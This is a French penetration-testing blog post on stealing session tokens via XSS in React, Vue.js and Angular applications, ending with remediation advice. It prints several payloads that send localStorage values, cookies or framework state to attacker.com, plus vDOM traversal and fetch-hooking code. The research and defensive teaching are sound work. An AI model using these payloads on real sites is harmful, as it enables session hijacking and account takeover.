XSS : Au-delà des alertes ? Vol de sessions stockées avec un framework JavaScript

FabienLe 14 novembre 2025

Introduction

Les frameworks JavaScripts stockent des données dans le DOM de votre navigateur. Si le jeton de session n’est pas dans vos cookies, ni dans le webStorage (localStorage, sessionStorage), il est probablement conservé dans un contexte global du framework frontend utilisé. Certains de ces frameworks rendent accessibles ces contextes dans le DOM de la page, d’autres ne le font pas.

Ce script permet de chercher dans le DOM de la page à l’aide d’une expression régulière pour le vérifier. Au moment où cet article sort, React et Vue.js sont concernés. Angular à l’inverse ne l’est pas.

Les frameworks JavaScript, kézako ?

Rencontrés dans 99% de nos tests d'intrusion d'application webs, l'utilisation de framework JavaScript pour le développement de site web s'est imposé depuis plusieurs années maintenant, et à juste titre.
Les frameworks JavaScript modernes permettent de construire des applications en s’appuyant sur une architecture basée sur des composants réutilisables, favorisant la modularité et la maintenabilité du code.
Ils intègrent également des systèmes de routage applicatif, permettant de gérer la navigation côté client sans rechargement complet de la page.
Ces frameworks offrent des mécanismes de gestion d’état avancés, indispensables pour suivre et mettre à jour dynamiquement des valeurs, comme un compteur ou un statut utilisateur.
Leur moteur de rendu est optimisé pour détecter automatiquement les changements dans le DOM et n'appliquer que les modifications nécessaires, ce qui améliore les performances.
Enfin, ils facilitent l’intégration de composants externes couramment utilisés, tels que des connexions WebSocket, des gestionnaires de thèmes ou des bibliothèques d’UI tierces.

Par exemple, l'application ci-dessous est développée en React, chaque élément visible et séparé (ou presque) est un composant distinct dans le code. Chaque composant utilise à son tour des composants afin d'arriver au résultat ci-dessous.

application React Pollenisator


Les principaux frameworks JavaScript utilisés sont React, Angular et Vue.js selon le rapport State of JavaScript 2024.

Front end framework


Chacun de ces frameworks va apporter des avantages et inconvénients par rapport aux autres et chaque développeur aura son point de vue. Certains estiment que Vue.js est rapide à prendre en main mais ne permet pas autant de choses qu'un autre comme Angular qui est plus difficile à appréhender mais permet finalement beaucoup de choses. React est actuellement le plus populaire parce qu'il serait un bon intermédiaire entre ces deux candidats pour la plupart des applications webs.

Une application simple développée en React ressemble à ça:

Générateur aléatoire


Le composant App est déclaré et si on le décortique de haut en bas on a:

  1. des imports de librairies externes, dont React;
  2. une fonction App qui déclare en fait l'ensemble du composant qui est affiché à droite.

Dans la fonction App, on a:

  1. tout d'abord un état nommé randomId qui est déclaré;
  2. puis une fonction pour générer une valeur à assigner à cet état;
  3. une fonction cachée ici qui permet d'envoyer cet ID à une API externe;
  4. le retour de la fonction qui utilise le langage de template JSX intégré à React afin d'afficher les différentes valeurs dans la page et de gérer les événements comme le click sur un bouton par exemple.

Les XSS pour les nuls

Une faille XSS (Cross-Site Scripting), c’est une erreur dans un site web qui permet à un pirate d’y injecter du code JavaScript malveillant.

Ce code va s’exécuter dans le navigateur des visiteurs comme si c’était du code "officiel" provenant du site. Un exemple basique peut être le cas d'un blog avec une zone pour laisser un commentaire. Au lieu d’un message gentil, un attaquant écrit ceci :

<script>alert("Hacked!")</script>

Si le site ne filtre et n'encode pas ce contenu, alors toutes les personnes qui liront ce commentaire verront une alerte apparaître. Ce n’est pas dangereux en soi… mais cela prouve que le code est exécuté dans le contexte du navigateur d'autres visiteurs du site. Le code injecté peut alors tenter de voler le jeton de session d'un autre utilisateur et utiliser ainsi son compte !

Aujourd'hui, on s'intéresse au vol de jetons de sessions, mais comment ça fonctionne ?

Actuellement les jetons de sessions peuvent être conservés dans trois endroits différents.

Le stockage du navigateur:

  • Avantage : Le stockage du navigateur est simple à utiliser localStorage.getItem("session");
  • Inconvénient : Aucune protection n'est associé aux données stockées à cet endroit

Les cookies (approche recommandée par AlgoSecure):

  • Avantage : Les cookies important (comme ceux de sessions) peuvent être protégés par le navigateur s'ils sont bien configurés (HttpOnly, Secure, Same-Site)
  • Inconvénient : Les cookies protégés par HttpOnly ne sont pas accessibles depuis le code JavaScript, ce qui est une bonne chose pour leur sécurité, mais pas pour les développeurs. Les API ou applications externes n'autorisent pas toujours la connexion via un Cookie et l'application doit donc parfois envoyer ce jeton dans les entêtes HTTP.

Dans la mémoire / le contexte JavaScript:

  • Avantage : Simple à implémenter, les frameworks JavaScripts proposent des contextes partagés par plusieurs composants afin de conserver ce type de données.
  • Inconvénient : Les données conservées dans ce cas sont perdues à chaque rafraîchissement de la page. Mais sont elles accessibles par un attaquant qui a détecté une faille XSS sur une application ?

Le débat sur le bon choix est aussi animé que le fameux pain au chocolat vs. chocolatine, ou presque. Beaucoup d'informations, pas toujours vraies ni complètes, circulent donc sur ce propos.

Exemple d'erreur commune


Plusieurs sites affirment qu'il sera difficile pour un attaquant de voler un jeton de session conservé dans la mémoire de l'application. En effet, très peu de documentation existe sur ce sujet et cet article est là pour ça :) !

Mais comment un attaquant vole le jeton de session ?

Dans le cas du localStorage, un attaquant avec une faille XSS peut injecter le code suivant:

<img src=x onerror="fetch('https://attacker.com/'+localStorage.getItem('session'))">

Une fois cette balise image affichée, le navigateur détecte que la source "x" indiquée n'existe pas et la fonction définie dans l'attribut "onerror" se déclenche. Le code a pour effet de faire une requête HTTPS sur le site attacker.com/\<Le jeton de session de l'utilisateur !>.

L'attaquant qui contrôle attacker.com aura juste à lire les tentatives d'accès à son site pour récupérer les jetons de session des utilisateurs piégés.

Le même concept peut être appliqué pour le vol de cookies :

<img src=x onerror="fetch('https://attacker.com/'+document.cookie)">

La plus grosse différence est que les cookies protégés par le flag HttpOnly n'apparaîtront pas ici ! Ils ne sont pas volables en l'état et un attaquant ne pourra pas le lire facilement.

En revanche, comment voler un jeton de session stocké dans un contexte JavaScript ? Les variables JavaScript sont dites "Scopés" et ne sont donc pas lisibles directement via la console du navigateur par exemple. Plusieurs méthodes sont possibles.

Exploitation de XSS dans les frameworks JavaScript

Les trois frameworks les plus utilisés à l'heure actuelle sont :

  1. React, maintenu par Meta, utilise JSX, une syntaxe hybride JavaScript/HTML.
  2. Vue.js est réputé pour sa simplicité et sa courbe d’apprentissage douce.
  3. Angular mise sur la robustesse et la sécurité avec une architecture complète.

Ces trois frameworks JavaScript échappent automatiquement les entrées utilisateurs afin de prévenir d'une attaque XSS. Cependant, les développeurs souhaitent parfois injecter du code HTML et l'afficher tel quel dans certains composants.

Le cas le plus fréquent est un éditeur de page ou de commentaire par exemple. Dans ce cas, si un développeur veut afficher le code HTML tel qu'il a été rédigé, le framework JavaScript lui donne généralement un moyen d'y parvenir en contournant les protections.

  • Vue.js intègre pour ça la notion de "v-html"
  • React donne accès à la fonction dangerouslySetInnerHTML qui, comme son nom l'indique, est dangereuse à utiliser.
  • Angular permet de signifier qu'une donnée est "de confiance" et donc ne sera pas nettoyée via DomSanitizer.bypassSecurityTrustHtml

Vue.js

Voyons comment voler un jeton de session dans le cas de Vue.js. Par défaut, Vue.js encode les données utilisateurs, mais plusieurs méthodes permettent de contourner cela et peuvent mener à des failles XSS.

L’image ci-dessous provient de la documentation de Vue.js et explique les mitigations automatiques et les risques encore possibles.

Mitigation vue.js


Afin de découvrir comment sont stockés les états et contextes dans Vue.js, je me suis intéressé à son code qui est open-source. Les lignes suivantes donnent des indications sur l'emplacement des données incluses dans les différents composants.

app root


On remarque par exemple les mots clés app._instance et app._vnode. En effet, le terme vnode fait référence à un concept connu sous le nom de Virtual DOM ou VDOM pour faire court. C’est une copie en mémoire (donc virtuelle) de la structure HTML réelle de la page. Elle est utilisée par des frameworks comme React, Vue, ou Angular pour améliorer les performances.

On peut accéder à ce VDOM via l'extension d'outil de développeur pour Vue.js si le site n'est pas en production. L'image ci-dessous montre un exemple de site en Vue.js qui conserve un jeton de session nommé randomId dans un contexte global d'application. Ce jeton randomId est bien lisible au travers de cet outil de développement.

Exemple de site Vue.js


Mais si le site est en production, peut-on encore y accéder ? Et bien à ma grande surprise, oui ! En désactivant le mode développement de ce site, les mêmes données sont accessibles via le Virtual DOM de la page qui est en fait stocké dans les attributs du DOM de la page, et plus particulièrement dans la balise div qui englobe l'ensemble de l'application comme le montre l'image suivante.

vDom et Dom


La valeur du randomId est alors directement accessible via une XSS qui exécutera le code suivant:

var session = document.getElementById("app")._vnode.component.setupState.randomId;
fetch('https://attacker.com/'+session);

React

Comme Vue.js, React encode par défaut les entrées utilisateurs et empêche les XSS. Cependant, un attaquant peut toujours exploiter certains cas d'usage vulnérables:

Mitigation React


Pour React, d'excellentes ressources sont disponibles sur internet pour comprendre son fonctionnement interne. A force de chercher, j'ai trouvé cet excellent site (merci à Bogdan Lyanshenko) qui explique en détail tout ce qu'il faut savoir sur React ainsi que ces notes (merci à 0xdevalias) qui explique comment fonctionne le vDOM de React.

Explication Dom et vDom


Avec ces explications, la méthode pour exploiter React est en fait similaire à celle de Vue.js, il suffit de lire les bons attributs dans le DOM pour récupérer les états cachés dans la page affichée. Le commentaire malveillant d'un attaquant pourrait alors ressembler à:

let _el = document.getElementById("root");  
el.__reactContainer$v92n2lyjzc.stateNode.current.child.child.child.child.memoizedProps.value;

La valeur désirée peut être lue en traversant les éléments du vDOM avec de nombreux appels à .child jusqu'à parvenir à la propriété convoitée.

Automatisation

Avant de passer à Angular, il est à noter que ce procédé peut être automatisé. Un script JavaScript est disponible à cette fin sur notre GitHub https://github.com/AlgoSecure/vDOM-Session-stealer. Ce script est largement inspiré de celui-ci https://gist.github.com/stracker-phil/e5b3bbd5d5eb4ffb2acdcda90d8bd04f avec quelques modifications mineures. Il cherche automatiquement dans le DOM de la page récursivement et renvoie les résultats trouvés. Si l’application expose ses secrets dans le vDOM de la page (comme vu pour React et Vue.Js) , ce script peut les trouver.

Angular

Angular a une approche différente des deux précédents. Il traite par défaut toutes les valeurs qu'il affiche comme non-fiables. Toutes les données non fiables sont nettoyées et échappées par Angular.

Par exemple, le code suivant nettoie le texte donné par l'utilisateur et retire la balise script et son contenu lors de l'affichage.

Exemple Angular


Angular propose néanmoins des fonctions pour indiquer qu'une variable est fiable et ne doit pas être modifiée.

  • bypassSecurityTrustHtml
  • bypassSecurityTrustScript
  • bypassSecurityTrustStyle
  • bypassSecurityTrustUrl
  • bypassSecurityTrustResourceUrl

Confiant du succès des deux précédentes tentatives, j'ai lancé le script développé pour rechercher la valeur de mon jeton de session dans le DOM de l'application Angular de test. Surprise ! Aucun résultat trouvé.

Résultat du script


Pour approfondir, j'ai donc analysé le code open source des outils de développement d'Angular pour essayer de comprendre comment ils parviennent à afficher les états des composants. Ce code donne des éléments de réponse :

Code open source des outils de développement Angular


Une propriété __ngContext__ semble exister ! Cependant, après vérification sur les versions récentes d'Angular, cette variable vaut 0 en production, mais contient bien les précieuses informations en développement.

Exemple production et local


Pourtant, cette issue sur le github Angular semble indiquer que sur les vieilles versions Angular, cette variable était peuplée même en production.

En mode développement, l'objet spécial ng contient des fonctions pour nous permettre de faire ça facilement:

Les fonctions de ng


La prochaine piste a donc été de comprendre comment fonctionnent ces fonctions de debug afin de voir si cela pouvait nous aider à lire les valeurs d'état conservées par Angular.

Fonctionnement interne d'Angular

Le blog de 0xdevalias nous donne quelques éléments pour débuter les recherches. Tout d'abord on note que la fonction de détection du mode développement d'angular vérifie en fait la présence de la variable this.ng.

Détail du mode développement Angular


Cette piste ne peut donc pas être exploitée en production.

Affichage de composants Angular

Le moteur d'affichage Angular utilise plusieurs structures de données pour afficher une page. Les deux principales sont Logical View (LView) et Template View (TView).

La TView conserve les données statiques des composants et n'est créée qu'une fois au début du cycle de vie du composant. Elle peut contenir des métadonnées qui ne changent pas durant la vie du composant.

La LView contient quant à elle les parties dynamiques pour chaque instance de composants. C'est donc les LViews qui contiennent les variables de type jeton de session.

Angular : le seul à utiliser des variables scopées

Le problème est que le contexte global de JavaScript ne contient pas de références directes aux objets Angular et encore moins à ses composants internes lorsque l'application est en production.

Voyons comment Angular parvient à récupérer un état en débuggant l'application basique suivante:

Angular récuperation d'un état partie 1


Angular récuperation d'un état partie 2


La fonction attribue au composant la valeur du jeton de session via le mot clé this. C'est donc une variable scopée qu'il va falloir tenter de trouver. Mon objectif pour la suite a été de trouver des variables ou des fonctions disponibles, notamment dans le vDOM dans le but d'obtenir une référence à "this".

J'ai donc placé un breakpoint sur la fonction onClick qui est associée au bouton "Generate and Send Id" et observé la pile d'exécution.

Pile d'execution


Dans la pile d'appels, on remarque de nombreux appels à des fonctions internes Angular permettant d'invoquer une tâche "invokeTask" etc. Après recherche dans le vDOM de la page, parmi toutes les fonctions présentes dans la pile à gauche, la fonction decoratePreventDefault est référencée par un callback dans l'un des attributs du vDOM nommé __zone_symbol_clickfalse. Elle constitue donc notre meilleure chance d'accès à la variable ciblée.

__zone_symbol_clickfalse


Dans l'application de test, elle ressemble à ça :

Détail dans l'application de test


On remarque la condition spéciale si l'événement est égal à la chaîne de caractères "__ngUnwrap__", la fonction en charge de l'événement est directement retournée.

__ngUnwrap__


On obtient une référence vers la fonction wrapListenerIn_markDirtyAndPreventDefault qui ressemble à ça :

Détails de wrapListener


Il est important de constater ici que la fonction à laquelle on a accès n'est pas wrapListener mais bien la fonction que celle-ci renvoie. Les valeurs tNode, lView et context sont passées en paramètre à la fonction parent et la fonction enfant peut donc y accéder. Cependant ces paramètres proviennent des entrailles des appels à la machinerie Angular et ne nous sont pas accessibles. Parmi les éléments de cette fonction, le seul qu'on puisse récupérer est la listenerFn car celle-ci est renvoyée lorsque la valeur de l'événement est la valeur spéciale "Function".

listenerFn


On n'est pas plus proche de lire directement la valeur du jeton de session, mais maintenant on a plusieurs cordes à notre arc, on peut :

  • Appeler directement AppComponent_Template_button_click_5_Listener (on peut obtenir une référence vers cette fonction)
  • Appeler directement wrapListenerIn_markDirty… (on peut obtenir une référence vers cette fonction)
  • Remplacer ou appeler decoratePreventDefault (on peut appeler cette fonction directement et aussi la remplacer.)

Mais aucune de ces méthodes ne permet de récupérer directement une référence aux LView ni au contexte.

Exploitation des effets de bords

La lecture directe de l'information n'a donc pas été un succès pour ma part. Heureusement, il y a d'autres méthodes moins propres que la lecture seule mais qui permettent de parvenir à nos fins.

Interagir avec la page

Il reste toujours possible d'utiliser une XSS pour interagir avec le navigateur de la victime. On peut par exemple toujours appeler la fonction AppComponent_Template_button_click_5_Listener() directement ou même récupérer une référence à un bouton via document.getElementByID('button').click().

Interceptions d'appels clés

Il est toujours possible de modifier le prototype de l'objet Function afin de créer un genre de débugger au sein de notre XSS pour extraire et exfiltrer les données pertinentes : Le code suivant trace les appels à la fonction __apply__ qui est utilisé au sein d'Angular pour appeler les fonctions d'événements.

var orig = Function.__proto__.apply; // stock la fonction apply pour restauration
Function.__proto__.apply = function(){
    console.log(this, arguments); // log la fonction et ses arguments
    orig.call(this, ...arguments);  // appelle de la fonction apply sans utiliser apply pour éviter une récursion.
}
Trace des appels à la fonction __apply__


Remplacer des fonctions

La fonction fetch est une excellente fonction candidate à remplacer car elle est utilisée pour effectuer des appels aux API externes. Elle est appelée soit directement via fetch(URL), soit via la librairie axios qui l'utilise en arrière-plan.

Le code suivant permet de remplacer la fonction fetch par une fonction de notre choix (ici console.log) puis utilise les concepts évoqués précédemment pour faire un appel à une fonction ciblée dont on sait qu'elle envoie le jeton de session.

var orig = fetch
fetch = console.log
document.body.childNodes[1].childNodes[1].childNodes[0].childNodes[2].__zone_symbol__clickfalse[0].callback("__ngUnwrap__")(Function)()
fetch = orig
Récupération du jeton de session


Conclusion

Certains frameworks JavaScript nous facilitent la tâche en donnant des accès à leurs éléments internes dans le contexte globale de la page via leur Virtual DOM. D'autres comme Angular ne permettent pas une telle facilité.

Toutefois, plusieurs techniques permettent de récupérer un jeton de session même s'il est correctement isolé dans un module JavaScript. En effet, un attaquant disposant d'une faille XSS et parvenant à exécuter les scripts de son choix, pourra modifier le fonctionnement de JavaScript en remplaçant des fonctions globales ou les prototypes internes de JavaScript.

Le modèle d'authentification via l'entête Authorization: Bearer + JWT n’est pas le plus adapté à la sécurité. Si c'est la seule méthode d'authentification permise, la durée de vie du jeton de session doit être très faible et être renouvelé régulièrement via un cookie de session plus durable qui sera, lui, protégé.

Remédiations

Ce que l’on peut retenir pour éviter le Vol de sessions stockées avec un framework JavaScript :

  • STOCKER LES SECRETS UNIQUEMENT DANS DES COOKIES PROTÉGÉS
  • Demander UNE 2FA POUR LES ACTIONS TRÈS SENSIBLES : Pour éviter qu'un attaquant puisse manipuler le navigateur de l'utilisateur et lui faire faire ce qu'il veut sans prouver son identité.
  • Implémenter une Content-Security-Policy restrictive. Un très bon article à ce sujet est disponible sur ce blog ici
  • Faire des analyses de code statique : peut détecter les Client Side Template Injection, utilisation de fonctions non sécurisées etc.
  • DOM Purify : Si utiliser de l’HTML non fiable est vraiment nécessaire (attention aux mXSS)
  • Former les développeurs : Les frameworks JavaScript et le Web évoluent vite, et les développeurs suivent avec difficulté.
  • Former à l’utilisation des LLM : ChatGPT, copilot et autres IA ne prennent par défaut pas compte de la sécurité des développements qu'ils produisent. Une formation pour exprimer le besoin de sécurité peut être envisagée.
  • Le stockage du navigateur est simple utiliser localStorage.getItem("session");
    • Aucune protection n'est associé aux données stockées à cet endroit
  • Les cookies important (comme ceux de sessions) peuvent être protégés par le navigateur s'ils sont bien configurés (HttpOnly, Secure, Same-Site)
    • Les cookies protégés par HttpOnly ne sont pas accessibles depuis le code JavaScript, ce qui est une bonne chose pour leur sécurité, mais pas pour les développeurs. Les API ou applications externes n'autorisent pas toujours la connexion via un Cookie et l'application doit donc parfois envoyer ce jeton dans les entêtes HTTP.
  • Simple à implémenter, les frameworks JavaScripts proposent des contextes partagés par plusieurs composants afin de conserver ce type de données.

You've enabled "Do Not Track" in your browser, we respect that choice and don't track your visit on our website.